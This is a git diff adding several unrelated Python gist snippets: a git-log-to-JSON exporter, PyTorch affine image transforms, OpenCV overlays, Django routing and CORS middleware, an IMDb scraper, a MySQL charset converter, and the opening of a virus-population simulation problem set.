diff --git a/hard-gists/42472327b4be382b02eb/._snippet.py b/hard-gists/42472327b4be382b02eb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/42472327b4be382b02eb/._snippet.py differ
diff --git a/hard-gists/42472327b4be382b02eb/snippet.py b/hard-gists/42472327b4be382b02eb/snippet.py
new file mode 100644
index 00000000..cb8ac8e7
--- /dev/null
+++ b/hard-gists/42472327b4be382b02eb/snippet.py
@@ -0,0 +1,53 @@
+from pygit2 import Repository
+from pygit2 import GIT_SORT_TOPOLOGICAL, GIT_SORT_REVERSE
+import datetime
+import json
+import sys
+
+class TzOffset(datetime.tzinfo):
+
+    def __init__(self, offset=19800, name=None):
+        self.offset = datetime.timedelta(seconds=offset)
+        self.name = name or self.__class__.__name__
+
+    def utcoffset(self, dt):
+        return self.offset
+
+    def tzname(self, dt):
+        return self.name
+
+    def dst(self, dt):
+        return datetime.timedelta(0)
+
+def fmtdate(obj):
+  tz = TzOffset(offset=obj.offset*60, name=None)
+  date = datetime.datetime.fromtimestamp(obj.time, tz)
+  return date.strftime('%Y-%m-%d %H:%M:%S%z')
+
+repo = Repository('.git')
+commits = []
+for commit in repo.walk(repo.head.target, GIT_SORT_TOPOLOGICAL):
+  obj = {
+    "commit": commit.hex,
+    "abbreviated_commit": commit.hex[0:10],
+    "tree": commit.tree.hex,
+    "abbreviated_tree": commit.tree.hex[0:10],
+    "parents": [x.hex for x in commit.parents],
+    "abbreviated_parents": [x.hex[0:10] for x in commit.parents],
+    "encoding": commit.message_encoding or '',
+    "subject": commit.message.split('\n')[0],
+    "body": commit.message,
+    "author": {
+      "name": commit.author.name,
+      "email": commit.author.email,
+      "date": fmtdate(commit.author)
+      },
+    "commiter": {
+      "name": commit.committer.name,
+      "email": commit.committer.email,
+      "date": fmtdate(commit.committer)
+      }
+    }
+  commits.append(obj)
+
+json.dump(commits, sys.stdout, indent=4, sort_keys=True)
diff --git a/hard-gists/425ca642955f73452ebc097b3b46c493/._snippet.py b/hard-gists/425ca642955f73452ebc097b3b46c493/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/425ca642955f73452ebc097b3b46c493/._snippet.py differ
diff --git a/hard-gists/425ca642955f73452ebc097b3b46c493/snippet.py b/hard-gists/425ca642955f73452ebc097b3b46c493/snippet.py
new file mode 100644
index 00000000..602f13a0
--- /dev/null
+++ b/hard-gists/425ca642955f73452ebc097b3b46c493/snippet.py
@@ -0,0 +1,451 @@
+"""
+Affine transforms implemented on torch tensors, and
+only requiring one interpolation
+
+Included:
+- Affine()
+- AffineCompose()
+- Rotation()
+- Translation()
+- Shear()
+- Zoom()
+- Flip()
+
+"""
+
+import math
+import random
+import torch
+
+# necessary now, but should eventually not be
+import scipy.ndimage as ndi
+import numpy as np
+
+
+def transform_matrix_offset_center(matrix, x, y):
+    """Apply offset to a transform matrix so that the image is
+    transformed about the center of the image. 
+
+    NOTE: This is a fairly simple operaion, so can easily be
+    moved to full torch.
+
+    Arguments
+    ---------
+    matrix : 3x3 matrix/array
+
+    x : integer
+        height dimension of image to be transformed
+
+    y : integer
+        width dimension of image to be transformed
+    """
+    o_x = float(x) / 2 + 0.5
+    o_y = float(y) / 2 + 0.5
+    offset_matrix = np.array([[1, 0, o_x], [0, 1, o_y], [0, 0, 1]])
+    reset_matrix = np.array([[1, 0, -o_x], [0, 1, -o_y], [0, 0, 1]])
+    transform_matrix = np.dot(np.dot(offset_matrix, matrix), reset_matrix)
+    return transform_matrix
+
+def apply_transform(x, transform, fill_mode='nearest', fill_value=0.):
+    """Applies an affine transform to a 2D array, or to each channel of a 3D array.
+
+    NOTE: this can and certainly should be moved to full torch operations.
+
+    Arguments
+    ---------
+    x : np.ndarray
+        array to transform. NOTE: array should be ordered CHW
+    
+    transform : 3x3 affine transform matrix
+        matrix to apply
+    """
+    x = x.astype('float32')
+    transform = transform_matrix_offset_center(transform, x.shape[1], x.shape[2])
+    final_affine_matrix = transform[:2, :2]
+    final_offset = transform[:2, 2]
+    channel_images = [ndi.interpolation.affine_transform(x_channel, final_affine_matrix,
+            final_offset, order=0, mode=fill_mode, cval=fill_value) for x_channel in x]
+    x = np.stack(channel_images, axis=0)
+    return x
+
+class Affine(object):
+
+    def __init__(self, 
+                 rotation_range=None, 
+                 translation_range=None,
+                 shear_range=None, 
+                 zoom_range=None, 
+                 fill_mode='constant',
+                 fill_value=0., 
+                 target_fill_mode='nearest', 
+                 target_fill_value=0.):
+        """Perform an affine transforms with various sub-transforms, using
+        only one interpolation and without having to instantiate each
+        sub-transform individually.
+
+        Arguments
+        ---------
+        rotation_range : one integer or float
+            image will be rotated between (-degrees, degrees) degrees
+
+        translation_range : a float or a tuple/list w/ 2 floats between [0, 1)
+            first value:
+                image will be horizontally shifted between 
+                (-height_range * height_dimension, height_range * height_dimension)
+            second value:
+                Image will be vertically shifted between 
+                (-width_range * width_dimension, width_range * width_dimension)
+
+        shear_range : float
+            radian bounds on the shear transform
+
+        zoom_range : list/tuple with two floats between [0, infinity).
+            first float should be less than the second
+            lower and upper bounds on percent zoom. 
+            Anything less than 1.0 will zoom in on the image, 
+            anything greater than 1.0 will zoom out on the image.
+            e.g. (0.7, 1.0) will only zoom in, 
+                 (1.0, 1.4) will only zoom out,
+                 (0.7, 1.4) will randomly zoom in or out
+
+        fill_mode : string in {'constant', 'nearest'}
+            how to fill the empty space caused by the transform
+            ProTip : use 'nearest' for discrete images (e.g. segmentations)
+                    and use 'constant' for continuous images
+
+        fill_value : float
+            the value to fill the empty space with if fill_mode='constant'
+
+        target_fill_mode : same as fill_mode, but for target image
+
+        target_fill_value : same as fill_value, but for target image
+
+        """
+        self.transforms = []
+        if rotation_range:
+            rotation_tform = Rotation(rotation_range, lazy=True)
+            self.transforms.append(rotation_tform)
+
+        if translation_range:
+            translation_tform = Translation(translation_range, lazy=True)
+            self.transforms.append(translation_tform)
+
+        if shear_range:
+            shear_tform = Shear(shear_range, lazy=True)
+            self.transforms.append(shear_tform) 
+
+        if zoom_range:
+            zoom_tform = Translation(zoom_range, lazy=True)
+            self.transforms.append(zoom_tform)
+
+        self.fill_mode = fill_mode
+        self.fill_value = fill_value
+        self.target_fill_mode = target_fill_mode
+        self.target_fill_value = target_fill_value
+
+    def __call__(self, x, y=None):
+        # collect all of the lazily returned tform matrices
+        tform_matrix = self.transforms[0](x)
+        for tform in self.transforms[1:]:
+            tform_matrix = np.dot(tform_matrix, tform(x)) 
+
+        x = torch.from_numpy(apply_transform(x.numpy(), tform_matrix,
+            fill_mode=self.fill_mode, fill_value=self.fill_value))
+
+        if y:
+            y = torch.from_numpy(apply_transform(y.numpy(), tform_matrix,
+                fill_mode=self.target_fill_mode, fill_value=self.target_fill_value))
+            return x, y
+        else:
+            return x
+
+class AffineCompose(object):
+
+    def __init__(self, 
+                 transforms, 
+                 fill_mode='constant', 
+                 fill_value=0., 
+                 target_fill_mode='nearest', 
+                 target_fill_value=0.):
+        """Apply a collection of explicit affine transforms to an input image,
+        and to a target image if necessary
+
+        Arguments
+        ---------
+        transforms : list or tuple
+            each element in the list/tuple should be an affine transform.
+            currently supported transforms:
+                - Rotation()
+                - Translation()
+                - Shear()
+                - Zoom()
+
+        fill_mode : string in {'constant', 'nearest'}
+            how to fill the empty space caused by the transform
+
+        fill_value : float
+            the value to fill the empty space with if fill_mode='constant'
+
+        """
+        self.transforms = transforms
+        # set transforms to lazy so they only return the tform matrix
+        for t in self.transforms:
+            t.lazy = True
+        self.fill_mode = fill_mode
+        self.fill_value = fill_value
+        self.target_fill_mode = target_fill_mode
+        self.target_fill_value = target_fill_value
+
+    def __call__(self, x, y=None):
+        # collect all of the lazily returned tform matrices
+        tform_matrix = self.transforms[0](x)
+        for tform in self.transforms[1:]:
+            tform_matrix = np.dot(tform_matrix, tform(x)) 
+
+        x = torch.from_numpy(apply_transform(x.numpy(), tform_matrix,
+            fill_mode=self.fill_mode, fill_value=self.fill_value))
+
+        if y:
+            y = torch.from_numpy(apply_transform(y.numpy(), tform_matrix,
+                fill_mode=self.target_fill_mode, fill_value=self.target_fill_value))
+            return x, y
+        else:
+            return x
+
+
+class Rotation(object):
+
+    def __init__(self, 
+                 rotation_range, 
+                 fill_mode='constant', 
+                 fill_value=0., 
+                 target_fill_mode='nearest', 
+                 target_fill_value=0., 
+                 lazy=False):
+        """Randomly rotate an image between (-degrees, degrees). If the image
+        has multiple channels, the same rotation will be applied to each channel.
+
+        Arguments
+        ---------
+        rotation_range : integer or float
+            image will be rotated between (-degrees, degrees) degrees
+
+        fill_mode : string in {'constant', 'nearest'}
+            how to fill the empty space caused by the transform
+
+        fill_value : float
+            the value to fill the empty space with if fill_mode='constant'
+
+        lazy    : boolean
+            if true, perform the transform on the tensor and return the tensor
+            if false, only create the affine transform matrix and return that
+        """
+        self.rotation_range = rotation_range
+        self.fill_mode = fill_mode
+        self.fill_value = fill_value
+        self.target_fill_mode = target_fill_mode
+        self.target_fill_value = target_fill_value
+        self.lazy = lazy
+
+    def __call__(self, x, y=None):
+        degree = random.uniform(-self.rotation_range, self.rotation_range)
+        theta = math.pi / 180 * degree
+        rotation_matrix = np.array([[math.cos(theta), -math.sin(theta), 0],
+                                    [math.sin(theta), math.cos(theta), 0],
+                                    [0, 0, 1]])
+        if self.lazy:
+            return rotation_matrix
+        else:
+            x_transformed = torch.from_numpy(apply_transform(x.numpy(), rotation_matrix,
+                fill_mode=self.fill_mode, fill_value=self.fill_value))
+            if y:
+                y_transformed = torch.from_numpy(apply_transform(y.numpy(), rotation_matrix,
+                fill_mode=self.target_fill_mode, fill_value=self.target_fill_value))
+                return x_transformed, y_transformed
+            else:
+                return x_transformed
+
+
+class Translation(object):
+
+    def __init__(self, 
+                 translation_range, 
+                 fill_mode='constant',
+                 fill_value=0., 
+                 target_fill_mode='nearest', 
+                 target_fill_value=0., 
+                 lazy=False):
+        """Randomly translate an image some fraction of total height and/or
+        some fraction of total width. If the image has multiple channels,
+        the same translation will be applied to each channel.
+
+        Arguments
+        ---------
+        translation_range : two floats between [0, 1) 
+            first value:
+                fractional bounds of total height to shift image
+                image will be horizontally shifted between 
+                (-height_range * height_dimension, height_range * height_dimension)
+            second value:
+                fractional bounds of total width to shift image 
+                Image will be vertically shifted between 
+                (-width_range * width_dimension, width_range * width_dimension)
+
+        fill_mode : string in {'constant', 'nearest'}
+            how to fill the empty space caused by the transform
+
+        fill_value : float
+            the value to fill the empty space with if fill_mode='constant'
+
+        lazy    : boolean
+            if true, perform the transform on the tensor and return the tensor
+            if false, only create the affine transform matrix and return that
+        """
+        if isinstance(translation_range, float):
+            translation_range = (translation_range, translation_range)
+        self.height_range = translation_range[0]
+        self.width_range = translation_range[1]
+        self.fill_mode = fill_mode
+        self.fill_value = fill_value
+        self.target_fill_mode = target_fill_mode
+        self.target_fill_value = target_fill_value
+        self.lazy = lazy
+
+    def __call__(self, x, y=None):
+        # height shift
+        if self.height_range > 0:
+            tx = random.uniform(-self.height_range, self.height_range) * x.size(1)
+        else:
+            tx = 0
+        # width shift
+        if self.width_range > 0:
+            ty = random.uniform(-self.width_range, self.width_range) * x.size(2)
+        else:
+            ty = 0
+
+        translation_matrix = np.array([[1, 0, tx],
+                                       [0, 1, ty],
+                                       [0, 0, 1]])
+        if self.lazy:
+            return translation_matrix
+        else:
+            x_transformed = torch.from_numpy(apply_transform(x.numpy(), 
+                translation_matrix, fill_mode=self.fill_mode, fill_value=self.fill_value))
+            if y:
+                y_transformed = torch.from_numpy(apply_transform(y.numpy(), translation_matrix,
+                fill_mode=self.target_fill_mode, fill_value=self.target_fill_value))
+                return x_transformed, y_transformed
+            else:
+                return x_transformed
+
+
+class Shear(object):
+
+    def __init__(self, 
+                 shear_range, 
+                 fill_mode='constant', 
+                 fill_value=0., 
+                 target_fill_mode='nearest', 
+                 target_fill_value=0., 
+                 lazy=False):
+        """Randomly shear an image with radians (-shear_range, shear_range)
+
+        Arguments
+        ---------
+        shear_range : float
+            radian bounds on the shear transform
+        
+        fill_mode : string in {'constant', 'nearest'}
+            how to fill the empty space caused by the transform
+
+        fill_value : float
+            the value to fill the empty space with if fill_mode='constant'
+
+        lazy    : boolean
+            if true, perform the transform on the tensor and return the tensor
+            if false, only create the affine transform matrix and return that
+        """
+        self.shear_range = shear_range
+        self.fill_mode = fill_mode
+        self.fill_value = fill_value
+        self.target_fill_mode = target_fill_mode
+        self.target_fill_value = target_fill_value
+        self.lazy = lazy
+
+    def __call__(self, x, y=None):
+        shear = random.uniform(-self.shear_range, self.shear_range)
+        shear_matrix = np.array([[1, -math.sin(shear), 0],
+                                 [0, math.cos(shear), 0],
+                                 [0, 0, 1]])
+        if self.lazy:
+            return shear_matrix
+        else:
+            x_transformed = torch.from_numpy(apply_transform(x.numpy(), 
+                shear_matrix, fill_mode=self.fill_mode, fill_value=self.fill_value))
+            if y:
+                y_transformed = torch.from_numpy(apply_transform(y.numpy(), shear_matrix,
+                fill_mode=self.target_fill_mode, fill_value=self.target_fill_value))
+                return x_transformed, y_transformed
+            else:
+                return x_transformed
+      
+
+class Zoom(object):
+
+    def __init__(self, 
+                 zoom_range, 
+                 fill_mode='constant', 
+                 fill_value=0, 
+                 target_fill_mode='nearest', 
+                 target_fill_value=0., 
+                 lazy=False):
+        """Randomly zoom in and/or out on an image 
+
+        Arguments
+        ---------
+        zoom_range : tuple or list with 2 values, both between (0, infinity)
+            lower and upper bounds on percent zoom. 
+            Anything less than 1.0 will zoom in on the image, 
+            anything greater than 1.0 will zoom out on the image.
+            e.g. (0.7, 1.0) will only zoom in, 
+                 (1.0, 1.4) will only zoom out,
+                 (0.7, 1.4) will randomly zoom in or out
+
+        fill_mode : string in {'constant', 'nearest'}
+            how to fill the empty space caused by the transform
+
+        fill_value : float
+            the value to fill the empty space with if fill_mode='constant'
+
+        lazy    : boolean
+            if true, perform the transform on the tensor and return the tensor
+            if false, only create the affine transform matrix and return that
+        """
+        if not isinstance(zoom_range, list) and not isinstance(zoom_range, tuple):
+            raise ValueError('zoom_range must be tuple or list with 2 values')
+        self.zoom_range = zoom_range
+        self.fill_mode = fill_mode
+        self.fill_value = fill_value
+        self.target_fill_mode = target_fill_mode
+        self.target_fill_value = target_fill_value
+        self.lazy = lazy
+
+    def __call__(self, x, y=None):
+        zx = random.uniform(self.zoom_range[0], self.zoom_range[1])
+        zy = random.uniform(self.zoom_range[0], self.zoom_range[1])
+        zoom_matrix = np.array([[zx, 0, 0],
+                                [0, zy, 0],
+                                [0, 0, 1]])
+        if self.lazy:
+            return zoom_matrix
+        else:
+            x_transformed = torch.from_numpy(apply_transform(x.numpy(), 
+                zoom_matrix, fill_mode=self.fill_mode, fill_value=self.fill_value))
+            if y:
+                y_transformed = torch.from_numpy(apply_transform(y.numpy(), zoom_matrix,
+                fill_mode=self.target_fill_mode, fill_value=self.target_fill_value))
+                return x_transformed, y_transformed
+            else:
+                return x_transformed
+
+
diff --git a/hard-gists/4260425/._snippet.py b/hard-gists/4260425/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4260425/._snippet.py differ
diff --git a/hard-gists/4260425/snippet.py b/hard-gists/4260425/snippet.py
new file mode 100644
index 00000000..14e0b1fd
--- /dev/null
+++ b/hard-gists/4260425/snippet.py
@@ -0,0 +1,35 @@
+# Adapted from http://www.aishack.in/2010/07/transparent-image-overlays-in-opencv/
+from cv2 import *
+
+src     = cv.LoadImage("image.jpg")		# Load a source image
+overlay = cv.LoadImage("ghost.png")		# Load an image to overlay
+posx = 170					# Define a point (posx, posy) on the source
+posy = 100					# image where the overlay will be placed
+S = (0.5, 0.5, 0.5, 0.5)			# Define blending coefficients S and D
+D = (0.5, 0.5, 0.5, 0.5)			
+
+def OverlayImage(src, overlay, posx, posy, S, D):
+
+	for x in range(overlay.width):
+
+		if x+posx < src.width:
+
+			for y in range(overlay.height):
+
+				if y+posy < src.width:
+
+					source = cv.Get2D(src, y+posy, x+posx)
+					over   = cv.Get2D(overlay, y, x)
+					merger = [0, 0, 0, 0]
+
+					for i in range(3):
+						merger[i] = (S[i]*source[i]+D[i]*over[i])
+
+					merged = tuple(merger)
+
+					cv.Set2D(src, y+posy, x+posx, merged)
+
+OverlayImage(src, overlay, posx, posy, S, D)
+
+cv.SaveImage('src.png', src) #Saves the image
+print "Done"
\ No newline at end of file
diff --git a/hard-gists/4260442/._snippet.py b/hard-gists/4260442/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4260442/._snippet.py differ
diff --git a/hard-gists/4260442/snippet.py b/hard-gists/4260442/snippet.py
new file mode 100644
index 00000000..3be42a7c
--- /dev/null
+++ b/hard-gists/4260442/snippet.py
@@ -0,0 +1,40 @@
+# Adapted from http://www.aishack.in/2010/07/transparent-image-overlays-in-opencv/
+# Note: This code assumes a PNG with a Color->Transparency, with black as the alpha color
+
+from cv2 import *
+
+src     = cv.LoadImage("image.jpg")		# Load a source image
+overlay = cv.LoadImage("ghost.png")		# Load an image to overlay
+posx = 170					# Define a point (posx, posy) on the source
+posy = 100					# image where the overlay will be placed
+S = (0.5, 0.5, 0.5, 0.5)			# Define blending coefficients S and D
+D = (0.5, 0.5, 0.5, 0.5)
+
+def OverlayImage(src, overlay, posx, posy, S, D):
+
+	for x in range(overlay.width):
+
+		if x+posx < src.width:
+
+			for y in range(overlay.height):
+
+				if y+posy < src.width:
+
+					source = cv.Get2D(src, y+posy, x+posx)
+					over   = cv.Get2D(overlay, y, x)
+					merger = [0, 0, 0, 0]
+
+					for i in range(3):
+						if over[i] == 0:
+							merger[i] = source[i]
+						else:
+							merger[i] = (S[i]*source[i]+D[i]*over[i])
+
+					merged = tuple(merger)
+
+					cv.Set2D(src, y+posy, x+posx, merged)
+
+OverlayImage(src, overlay, posx, posy, S, D)
+
+cv.SaveImage('src.png', src) #Saves the image
+print "Done"
\ No newline at end of file
diff --git a/hard-gists/4266068bb3a5e36c2bff/._snippet.py b/hard-gists/4266068bb3a5e36c2bff/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4266068bb3a5e36c2bff/._snippet.py differ
diff --git a/hard-gists/4266068bb3a5e36c2bff/snippet.py b/hard-gists/4266068bb3a5e36c2bff/snippet.py
new file mode 100644
index 00000000..94ef4cf1
--- /dev/null
+++ b/hard-gists/4266068bb3a5e36c2bff/snippet.py
@@ -0,0 +1,12 @@
+from django.conf.urls import patterns, url, include
+from rest_framework_mongoengine.routers import MongoSimpleRouter
+from api.views import TodoViewSet
+
+
+router = MongoSimpleRouter()
+router.register(r'todo', TodoViewSet)
+
+urlpatterns = patterns(
+    '',
+    url(r'^', include(router.urls)),
+)
\ No newline at end of file
diff --git a/hard-gists/426829/._snippet.py b/hard-gists/426829/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/426829/._snippet.py differ
diff --git a/hard-gists/426829/snippet.py b/hard-gists/426829/snippet.py
new file mode 100644
index 00000000..f525b9a3
--- /dev/null
+++ b/hard-gists/426829/snippet.py
@@ -0,0 +1,44 @@
+import re
+
+from django.utils.text import compress_string
+from django.utils.cache import patch_vary_headers
+
+from django import http
+
+try:
+    import settings 
+    XS_SHARING_ALLOWED_ORIGINS = settings.XS_SHARING_ALLOWED_ORIGINS
+    XS_SHARING_ALLOWED_METHODS = settings.XS_SHARING_ALLOWED_METHODS
+except:
+    XS_SHARING_ALLOWED_ORIGINS = '*'
+    XS_SHARING_ALLOWED_METHODS = ['POST','GET','OPTIONS', 'PUT', 'DELETE']
+
+
+class XsSharing(object):
+    """
+        This middleware allows cross-domain XHR using the html5 postMessage API.
+         
+
+        Access-Control-Allow-Origin: http://foo.example
+        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
+    """
+    def process_request(self, request):
+
+        if 'HTTP_ACCESS_CONTROL_REQUEST_METHOD' in request.META:
+            response = http.HttpResponse()
+            response['Access-Control-Allow-Origin']  = XS_SHARING_ALLOWED_ORIGINS 
+            response['Access-Control-Allow-Methods'] = ",".join( XS_SHARING_ALLOWED_METHODS ) 
+            
+            return response
+
+        return None
+
+    def process_response(self, request, response):
+        # Avoid unnecessary work
+        if response.has_header('Access-Control-Allow-Origin'):
+            return response
+
+        response['Access-Control-Allow-Origin']  = XS_SHARING_ALLOWED_ORIGINS 
+        response['Access-Control-Allow-Methods'] = ",".join( XS_SHARING_ALLOWED_METHODS )
+
+        return response
\ No newline at end of file
diff --git a/hard-gists/426eb575fc70e5ee87ef/._snippet.py b/hard-gists/426eb575fc70e5ee87ef/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/426eb575fc70e5ee87ef/._snippet.py differ
diff --git a/hard-gists/426eb575fc70e5ee87ef/snippet.py b/hard-gists/426eb575fc70e5ee87ef/snippet.py
new file mode 100644
index 00000000..51df93e3
--- /dev/null
+++ b/hard-gists/426eb575fc70e5ee87ef/snippet.py
@@ -0,0 +1,125 @@
+'''
+Spider for IMDb
+- Retrieve most popular movies & TV series with rating of 8.0 and above
+- Crawl next pages recursively
+'''
+
+from scrapy.contrib.spiders import CrawlSpider, Rule
+from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
+from scrapy.selector import Selector
+
+from scrapy_tutorial.items import ScrapyTutorialItem
+
+class IMDbNextPageSpider(CrawlSpider):
+
+	name = "imdbnextpage"
+	allowed_domains = ["imdb.com"]
+	start_urls = [
+		"http://www.imdb.com/search/title?count=20&start=1&title_type=feature,tv_series"
+	]
+	rules = (
+		# Extract links for next pages
+		Rule(SgmlLinkExtractor(allow=(), restrict_xpaths=('//div[contains(@class, "leftright")][1]//a[contains(., "Next")]')), callback='parse_listings', follow=True),
+	)
+
+	def parse_start_url(self, response):
+		'''
+		Crawl start_urls
+		'''
+
+		return self.parse_listings(response)
+
+	def parse_listings(self, response):
+		'''
+		Extract data from listing pages
+		'''
+
+		sel = Selector(response)
+		films = sel.xpath('//table[contains(@class, "results")]//tr[contains(@class, "detailed")]')
+		items = []
+
+		for film in films:
+			# Populate film fields
+			item = ScrapyTutorialItem()
+			item['title'] = film.xpath('.//td[contains(@class, "title")]/a/text()').extract()
+			item['year'] = film.xpath('.//span[contains(@class, "year_type")]/text()').extract()
+			item['rating'] = film.xpath('.//span[contains(@class, "rating-rating")]/span[contains(@class, "value")]/text()').extract()
+			item['description'] = film.xpath('.//span[contains(@class, "outline")]/text()').extract()
+			item['poster_url'] = film.xpath('.//td[contains(@class, "image")]//img/@src').extract()
+			item['film_url'] = film.xpath('.//td[contains(@class, "title")]/a/@href').extract()
+			item = self.__normalise_item(item, response.url)
+
+			# Get films with rating of 8.0 and above
+			if item['rating'] > 8:
+				items.append(item)
+
+		return items
+
+	def __normalise_item(self, item, base_url):
+		'''
+		Standardise and format item fields
+		'''
+
+		# Loop item fields to sanitise data and standardise data types
+		for key, value in vars(item).values()[0].iteritems():
+			item[key] = self.__normalise(item[key])
+
+		# Clean year and convert year from string to float
+		item['year'] = item['year'].strip('()')
+		item['type'] = 'Movie'
+
+		if len(item['year']) > 4:
+			item['type'] = item['year'][5:]
+			item['year'] = item['year'][0:4]
+		item['year'] = self.__to_int(item['year'])
+
+		# Convert rating from string to float
+		item['rating'] = self.__to_float(item['rating'])
+
+		# Convert film URL from relative to absolute URL
+		item['film_url'] = self.__to_absolute_url(base_url, item['film_url'])
+
+		return item
+
+	def __normalise(self, value):
+		# Convert list to string
+		value = value if type(value) is not list else ' '.join(value)
+		# Trim leading and trailing special characters (Whitespaces, newlines, spaces, tabs, carriage returns)
+		value = value.strip()
+
+		return value
+
+	def __to_absolute_url(self, base_url, link):
+		'''
+		Convert relative URL to absolute URL
+		'''
+
+		import urlparse
+
+		link = urlparse.urljoin(base_url, link)
+
+		return link
+
+	def __to_int(self, value):
+		'''
+		Convert value to integer type
+		'''
+
+		try:
+			value = int(value)
+		except ValueError:
+			value = 0
+
+		return value
+
+	def __to_float(self, value):
+		'''
+		Convert value to float type
+		'''
+
+		try:
+			value = float(value)
+		except ValueError:
+			value = 0.0
+
+		return value
\ No newline at end of file
diff --git a/hard-gists/4276757/._snippet.py b/hard-gists/4276757/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4276757/._snippet.py differ
diff --git a/hard-gists/4276757/snippet.py b/hard-gists/4276757/snippet.py
new file mode 100644
index 00000000..3865e165
--- /dev/null
+++ b/hard-gists/4276757/snippet.py
@@ -0,0 +1,23 @@
+from MySQLdb import connect
+
+conn = connect(user="[USER]", passwd= "[PASSWORD]")
+cur = conn.cursor()
+
+cur.execute("show databases;")
+dbs_to_update = filter(
+  lambda db: db not in ('information_schema', 'mysql', 'performance_schema'),
+	[dbname[0] for dbname in cur.fetchall()])
+
+for db_to_update in dbs_to_update:
+	print "Updating %s db" % db_to_update
+	print "-" * (12 + len(db_to_update))
+
+	cur.execute("use %s" % db_to_update)
+	cur.execute("show tables;")
+
+	tables_to_update = [t[0] for t in cur.fetchall()]
+
+	for table_to_update in tables_to_update:
+		query =	"ALTER TABLE %s CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;" % table_to_update
+		cur.execute(query)
+		print table_to_update, "updated"
diff --git a/hard-gists/4282679/._snippet.py b/hard-gists/4282679/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4282679/._snippet.py differ
diff --git a/hard-gists/4282679/snippet.py b/hard-gists/4282679/snippet.py
new file mode 100644
index 00000000..85797a67
--- /dev/null
+++ b/hard-gists/4282679/snippet.py
@@ -0,0 +1,579 @@
+# Problem Set 8: Simulating the Spread of Disease and Virus Population Dynamics 
+
+import numpy
+import random
+import pylab
+
+''' 
+Begin helper code
+'''
+
+class NoChildException(Exception):
+    """
+    NoChildException is raised by the reproduce() method in the SimpleVirus
+    and ResistantVirus classes to indicate that a virus particle does not
+    reproduce. You can use NoChildException as is, you do not need to
+    modify/add any code.
+    """
+
+'''
+End helper code
+'''
+
+#
+# PROBLEM 2
+#
+class SimpleVirus(object):
+
+    """
+    Representation of a simple virus (does not model drug effects/resistance).
+    """
+    def __init__(self, maxBirthProb, clearProb):
+        """
+        Initialize a SimpleVirus instance, saves all parameters as attributes
+        of the instance.        
+        maxBirthProb: Maximum reproduction probability (a float between 0-1)        
+        clearProb: Maximum clearance probability (a float between 0-1).
+        """
+        self.maxBirthProb = maxBirthProb
+        self.clearProb = clearProb
+
+    def getMaxBirthProb(self):
+        """
+        Returns the max birth probability.
+        """
+        return self.maxBirthProb
+
+    def getClearProb(self):
+        """
+        Returns the clear probability.
+        """
+        return self.clearProb
+
+    def doesClear(self):
+        """ Stochastically determines whether this virus particle is cleared from the
+        patient's body at a time step. 
+        returns: True with probability self.getClearProb and otherwise returns
+        False.
+        """
+        #random.seed(0)
+        if self.getClearProb() > random.random():
+            return True
+        else:
+            return False
+
+    def reproduce(self, popDensity):
+        """
+        Stochastically determines whether this virus particle reproduces at a
+        time step. Called by the update() method in the Patient and
+        TreatedPatient classes. The virus particle reproduces with probability
+        self.getMaxBirthProb * (1 - popDensity).
+        
+        If this virus particle reproduces, then reproduce() creates and returns
+        the instance of the offspring SimpleVirus (which has the same
+        maxBirthProb and clearProb values as its parent).         
+
+        popDensity: the population density (a float), defined as the current
+        virus population divided by the maximum population.         
+        
+        returns: a new instance of the SimpleVirus class representing the
+        offspring of this virus particle. The child should have the same
+        maxBirthProb and clearProb values as this virus. Raises a
+        NoChildException if this virus particle does not reproduce.               
+        """
+        #random.seed(0)
+        if (self.getMaxBirthProb() * (1 - popDensity)) > random.random():
+            return SimpleVirus(self.getMaxBirthProb(), self.getClearProb())
+        else:
+            raise NoChildException
+
+##v1 = SimpleVirus(1.0, 0.0)
+##print(v1.doesClear()) # False
+##v1 = SimpleVirus(0.0, 0.0)
+##print(v1.doesClear()) # False
+##v1 = SimpleVirus(1.0, 1.0)
+##print(v1.doesClear()) # True
+##v1 = SimpleVirus(0.0, 1.0)
+##print(v1.doesClear()) # True
+##v1 = SimpleVirus(0.96, 0.72)
+##print(v1.reproduce(0.04))
+
+
+class Patient(object):
+    """
+    Representation of a simplified patient. The patient does not take any drugs
+    and his/her virus populations have no drug resistance.
+    """    
+
+    def __init__(self, viruses, maxPop):
+        """
+        Initialization function, saves the viruses and maxPop parameters as
+        attributes.
+
+        viruses: the list representing the virus population (a list of
+        SimpleVirus instances)
+
+        maxPop: the maximum virus population for this patient (an integer)
+        """
+        self.viruses = viruses
+        self.maxPop = maxPop
+        self.densPop = len(self.viruses) / float(self.maxPop)
+
+    def getViruses(self):
+        """
+        Returns the viruses in this Patient.
+        """
+        return self.viruses[:]
+
+    def getMaxPop(self):
+        """
+        Returns the max population.
+        """
+        return self.maxPop
+
+    def getTotalPop(self):
+        """
+        Gets the size of the current total virus population. 
+        returns: The total virus population (an integer)
+        """
+        return len(self.viruses)
+
+    def update(self):
+        """
+        Update the state of the virus population in this patient for a single
+        time step. update() should execute the following steps in this order:
+        
+        - Determine whether each virus particle survives and updates the list
+        of virus particles accordingly.   
+        
+        - The current population density is calculated. This population density
+          value is used until the next call to update() 
+        
+        - Based on this value of population density, determine whether each 
+          virus particle should reproduce and add offspring virus particles to 
+          the list of viruses in this patient.                    
+
+        returns: The total virus population at the end of the update (an
+        integer)
+        """
+        for virus in self.viruses[:]:
+            if virus.doesClear():
+                self.viruses.remove(virus)
+
+        self.densPop = len(self.viruses) / float(self.getMaxPop())
+
+        if self.densPop <= 1:
+            for virus in self.viruses[:]:
+                try:
+                    self.viruses.append(virus.reproduce(self.densPop))
+                except NoChildException:
+                    pass
+        
+        return len(self.viruses)
+
